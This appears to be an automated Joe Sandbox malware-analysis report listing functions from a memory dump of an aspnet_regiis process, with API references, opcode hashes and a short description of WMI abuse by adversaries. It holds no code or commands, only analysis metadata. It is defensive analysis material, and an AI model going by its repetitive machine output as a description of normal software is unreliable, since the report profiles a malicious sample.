Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: e0dd225c7d37a31ff5132d9dc822ba3066d9b60e1bd813476961b2afc5c494f9
Instruction ID: 95bf6207d5accce3160b057a5a96ddd739e62a91ad91ed8082f786b9a7fed017
Opcode Fuzzy Hash: e0dd225c7d37a31ff5132d9dc822ba3066d9b60e1bd813476961b2afc5c494f9
Instruction Fuzzy Hash: 6FF07A755483418FD314DF25C5A871BBBE0BB84308F10891DE5998B390C7B59549CF82

Function 72C6C570 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,72C6E0F9), ref: 72C6C590

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 801ee5d519d1cbf0b5384b203fb49da336cb1b4167aaf7d8269b9d108e867888
Instruction ID: 83f617c5efcebea5c87e7909dc380df3fc4ea6dacf66c2f76ec718c7243f6c37
Opcode Fuzzy Hash: 801ee5d519d1cbf0b5384b203fb49da336cb1b4167aaf7d8269b9d108e867888
Instruction Fuzzy Hash: 43D0C932455162EBCA506F29BC0ABD73A689F69320F174995A4046A164C624EC91CAD1

Function 72C6C55B Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 72C6C561

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b9e8b192eeb6ca3427e1e4e1d4a16f0b273ecdfd07725810f117e8eabe995f6c
Instruction ID: ad911b22f6de111f5ca247c845e77b650ca712c641e9a8ed395a5b10a2d268a7
Opcode Fuzzy Hash: b9e8b192eeb6ca3427e1e4e1d4a16f0b273ecdfd07725810f117e8eabe995f6c
Instruction Fuzzy Hash: BFA011320800A0ABCA222A22BC0CFC23E20EB28220F228288F000080B282208C82CA80

Non-executed Functions

Function 72C4EB80 Relevance: 12.1, Strings: 9, Instructions: 812COMMON

Download Yara Rule

Strings

CPm5, xrefs: 72C4EEE0
t|f, xrefs: 72C4EE88
hch&, xrefs: 72C4EEA8
AL, xrefs: 72C4EF3D
Yxqs, xrefs: 72C4EEC8
O}nl, xrefs: 72C4EED8
, xrefs: 72C4F25F, 72C4F26A, 72C4F29C
f>mI, xrefs: 72C4EED0
uvqs, xrefs: 72C4EEC0

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: AL$CPm5$O}nl$Yxqs$f>mI$hch&$t|f$uvqs$
API String ID: 0-1556426300
Opcode ID: 6e69f8cf22d046992650a5345d7e24e11d827a7dc8904fffb180b4274ba297ad
Instruction ID: a5582349e438f991388664c6612273bc64a6a99a3401fb2bb25bf70e8b0276af
Opcode Fuzzy Hash: 6e69f8cf22d046992650a5345d7e24e11d827a7dc8904fffb180b4274ba297ad
Instruction Fuzzy Hash: C152047150C3918FC712CF28C85065FBFE1AFE5218F154A6DE8EA9B282DB35D506CB92

Function 72C48B1B Relevance: 9.7, Strings: 7, Instructions: 994COMMON

Download Yara Rule

Strings

BVLm, xrefs: 72C4902A
_^]\, xrefs: 72C49115
/, xrefs: 72C492BA
_^]\, xrefs: 72C49425
_^]\, xrefs: 72C48F25
_^]\, xrefs: 72C48B44
_^]\, xrefs: 72C48DE5

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: /$BVLm$_^]\$_^]\$_^]\$_^]\$_^]\
API String ID: 2994545307-2892575238
Opcode ID: b4c2592c6aab79dfcbc74d60cee94e12e33947d2aefe951ccbce011e8ec44b0e
Instruction ID: 91c89a6c0cd314c74c9167bda2eb8626e6573266ae9ca2268d3584b701e5ed75
Opcode Fuzzy Hash: b4c2592c6aab79dfcbc74d60cee94e12e33947d2aefe951ccbce011e8ec44b0e
Instruction Fuzzy Hash: 99324DB26082408FD715CE39CC91B7BBBA2FBF5314F296A6CD09787295DB318906CB51

Function 72C3AB40 Relevance: 8.0, Strings: 6, Instructions: 481COMMON

Download Yara Rule

Strings

HYZF, xrefs: 72C3B07E, 72C3AE05, 72C3B075
>, xrefs: 72C3AB5E
UMAG, xrefs: 72C3AEF0
]><, xrefs: 72C3AC83
Y2^0, xrefs: 72C3AC7B
HYZF, xrefs: 72C3AE40

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: >$HYZF$HYZF$UMAG$Y2^0$]><
API String ID: 0-2666672646
Opcode ID: 75892f1c12c259287ff81764a0ab670d05325ecb66b023c3eeb93565dcfdec69
Instruction ID: f517ecc8e1823ddea5e9a80b5e346ef5619aaebd078f7309740c1449c5663ca4
Opcode Fuzzy Hash: 75892f1c12c259287ff81764a0ab670d05325ecb66b023c3eeb93565dcfdec69
Instruction Fuzzy Hash: 01E1297664C7504BC316CF6DC8402AFBBE2AFD1304F48892DE5EA9B346DA75C9058787

Function 72C583D8 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 542COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 72C584BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 72C585B4

Strings

_^]\, xrefs: 72C58A15
LF7Y, xrefs: 72C58951

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: 7510e550b50ef0c654be1391bd39522760b45234d1bb96e4e645624681e39ef9
Instruction ID: 0f8dc9f592c07a1ff1fb68adc5f98a0760234266dcd704685f73e105eab3c434
Opcode Fuzzy Hash: 7510e550b50ef0c654be1391bd39522760b45234d1bb96e4e645624681e39ef9
Instruction Fuzzy Hash: 2112E072948381CFE310CF2AC88171BBBE1BF99310F294A6CE59A57391D731D949CB96

Function 72C648C2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 72C64910
GetSystemMetrics.USER32 ref: 72C6491F

Strings

, xrefs: 72C649F3

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: aa08c2119de9cb2dd324d9c789ef88a4f55fd28bbf5376a9cbc92cdfc4cae1e9
Instruction ID: 06d2cdf8724a08c409731baa4d6cce01f3ee0dbf0eb1ce22ed41eeaac72471e0
Opcode Fuzzy Hash: aa08c2119de9cb2dd324d9c789ef88a4f55fd28bbf5376a9cbc92cdfc4cae1e9
Instruction Fuzzy Hash: 865152B1E142499FCB40EFADD98569DBBF0BB58310F11852DE898E7350D734A948CF92

Function 72C590D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 72C59170

Strings

M/(, xrefs: 72C5913D
M/(, xrefs: 72C5919E

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M/($M/(
API String ID: 237503144-1710806632
Opcode ID: 5b23df54fede8f0f0d36b046a23281ffea7fe913e2b9538b434d1b25bbbac605
Instruction ID: 9ed0ef88e2417bd10c58bbf2e21eb9b31b59f2e7fc7b7a514474bf888655b0d6
Opcode Fuzzy Hash: 5b23df54fede8f0f0d36b046a23281ffea7fe913e2b9538b434d1b25bbbac605
Instruction Fuzzy Hash: 582123716583615FE714CE38D882B9FB7AAEBD2700F11892CE0D1DB2C5D675880B8796

Function 72C6CA40 Relevance: 1.5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

Strings

_^]\, xrefs: 72C6CC20

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\
API String ID: 2994545307-3116432788
Opcode ID: 31aeb2f51530570f3897efdc94591b91744f5628f6bf07a889d747a278c5eaee
Instruction ID: 682cecc11d76cb1c1d981094d0d399a8c0e7234b058542fe888d002a5102cc2b
Opcode Fuzzy Hash: 31aeb2f51530570f3897efdc94591b91744f5628f6bf07a889d747a278c5eaee
Instruction Fuzzy Hash: 60714572B047415FD708DE2DC8D4B3FBBA2EBE9624F298A2DD4979B395D6309901C780

Function 72C5C0E6 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

N&, xrefs: 72C5C173

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: N&
API String ID: 0-3274356042
Opcode ID: ddd590e5cf2b373994aee65aeb95e1ae3a502ab3e3598ac9c55f56b91cef4bf7
Instruction ID: a26f26e550687c8f97f70232e13719fbd6ef89558e5ea2fa40d8793d627fe097
Opcode Fuzzy Hash: ddd590e5cf2b373994aee65aeb95e1ae3a502ab3e3598ac9c55f56b91cef4bf7
Instruction Fuzzy Hash: 6E51E721604B804BD72ACA3ECC513B7BBE3ABE7314B58969DC4D7C7686CA3CE0068714

Function 72C6FA20 Relevance: .7, Instructions: 685COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1225c30d5b12f5f095e44229d0dab9cfbd470f3fad252b00fb9b6ea472225764
Instruction ID: b31a8476859fb551f07b8eb1c201000f2a3e51c308016c5d1c0738506dac7293
Opcode Fuzzy Hash: 1225c30d5b12f5f095e44229d0dab9cfbd470f3fad252b00fb9b6ea472225764
Instruction Fuzzy Hash: 0E220136B54251CFD708CF79C8E02AAB7A2FB99314F2E8A7DC94697341D7359845CB80

Function 72C373D0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 297f4b89197acb61c5065d7b64ae3ffd4d1c515c5471772b9ed6b68c66622cb9
Instruction ID: ff7a38e15b210c97e1fbd391f4b1238bea3a3502e8e2facbcc031cfd15bd256d
Opcode Fuzzy Hash: 297f4b89197acb61c5065d7b64ae3ffd4d1c515c5471772b9ed6b68c66622cb9
Instruction Fuzzy Hash: 7C22C332A083118BC326DF1CD9816ABB3F2AFD6319F558E2DD9C697246D734A419CB43

Function 72C6FB10 Relevance: .5, Instructions: 537COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edd3fb7b76655d9b08f31fcd75ee3bda2444b7d2db503804ad3f3b640c5d044d
Instruction ID: 451912b29eebd121552da94345205bed2d5d5415acd74cbaa561b9d4a2d6bafa
Opcode Fuzzy Hash: edd3fb7b76655d9b08f31fcd75ee3bda2444b7d2db503804ad3f3b640c5d044d
Instruction Fuzzy Hash: B002F336B54251CFD708CF79C8E02AAB7A2FB99314F2E8A7DC94697341D735A845CB80

Function 72C6FB2A Relevance: .5, Instructions: 527COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f359283a51ab35cf4d01c669b736217816154f54a8df01bb5849062b5445336
Instruction ID: 59b52be2eccb30522afe6de5ffb63764b9b61cb35bb87e839d6f892c35af5237
Opcode Fuzzy Hash: 9f359283a51ab35cf4d01c669b736217816154f54a8df01bb5849062b5445336
Instruction Fuzzy Hash: 3BF1F336B54251CFD708CF79C8E02AAB7A2FB99315F2E8A7DC94693341D735A845CB80

Function 72C6FB28 Relevance: .5, Instructions: 526COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cfd2b797c6307842c4366e8958987f41cedcd780961bb78b5ebd0edf5d955af
Instruction ID: fd97a8c4d2794501431f8e14e39f8262979a58448a0435d8c93b7672d29dffec
Opcode Fuzzy Hash: 9cfd2b797c6307842c4366e8958987f41cedcd780961bb78b5ebd0edf5d955af
Instruction Fuzzy Hash: 19F1F336B54251CFD708CF79C8E02AAB7A2FB99315F2E8A7DC94693341D7359845CB80

Function 72C4D8D8 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c9edb52b36d0922e16ba6a96c697fb69b1cc82f07aef5d2d82506ec0debb7ed
Instruction ID: 80775a4d66ff7f3a43e130bcc33ed475b38d156faee2224ec5a9a6bd75074e7e
Opcode Fuzzy Hash: 6c9edb52b36d0922e16ba6a96c697fb69b1cc82f07aef5d2d82506ec0debb7ed
Instruction Fuzzy Hash: D1E115B1A00215CFCB14CF6DC8517BBBBB1FF5A310B14565CE892AB395E734A912CB94

Function 72C66210 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: a26885ec9c31c432b6ebb791d646c1b87659e6555a027d056f248e4f034d47d0
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 1611E933A051D40ED3128D3D8480575BFF30AE3634B29439DF4B99B2D6D6268D8B8390

Function 72C5AAC0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b5d740ace398df56c1bc651b30677a1090a792db8fb55b3a5b1b7746f8ad41c
Instruction ID: 60224ad1a7cf9c2ac8d3ac8e7eed38d170d8b361f20b4f166a918f7cfcf20c19
Opcode Fuzzy Hash: 7b5d740ace398df56c1bc651b30677a1090a792db8fb55b3a5b1b7746f8ad41c
Instruction Fuzzy Hash: B9019EB160070597E6118E1FD5C0B27B6BA6FA5708F28042CE80787301EB76E8098AAA

Function 72C4C300 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d915abd692c596d351a76ef7c44155bf2f7634e88133afcabaf1f94f6f3ee80c
Instruction ID: d3bd9c844f43136b87188ccf00dea569b272b483eb3ae9966e9e13c5e9ac3489
Opcode Fuzzy Hash: d915abd692c596d351a76ef7c44155bf2f7634e88133afcabaf1f94f6f3ee80c
Instruction Fuzzy Hash: CFF04460104B914AD3328F39C5243A3BFF09F2321CF542A8CC5D7576E2D776E10A8798

Function 72C5E0DA Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction ID: 190db2f54bf8934c4cd2efffe8f83a59de6cf40248b7a73a2d57218dfac670ea
Opcode Fuzzy Hash: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction Fuzzy Hash: 5CF030104087E28AD7174A3F89607A3AFE19BA3021B241BD5C8F29B2CBC215D097C3A9

Function 72C62A42 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 72COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 72C62A4C
VariantInit.OLEAUT32 ref: 72C62A5F

Strings

P, xrefs: 72C62B1D
T, xrefs: 72C62AFD
C, xrefs: 72C62B0D
C, xrefs: 72C62B2D

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: Variant$ClearInit
String ID: C$C$P$T
API String ID: 2610073882-3051599793
Opcode ID: 6ad76f1a5535b822f79293fae76517af97870f7b8dbe3a15fbbab24a5a3246da
Instruction ID: faafa1809ca61f4a907b4926b04c391afb57e7550de5d33ba98e9cc2c3b1b48d
Opcode Fuzzy Hash: 6ad76f1a5535b822f79293fae76517af97870f7b8dbe3a15fbbab24a5a3246da
Instruction Fuzzy Hash: 2D41C32010C7C18AD372DB38845979FBFE16BA6224F488A9DD4ED8B3D2DB754049DB63

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
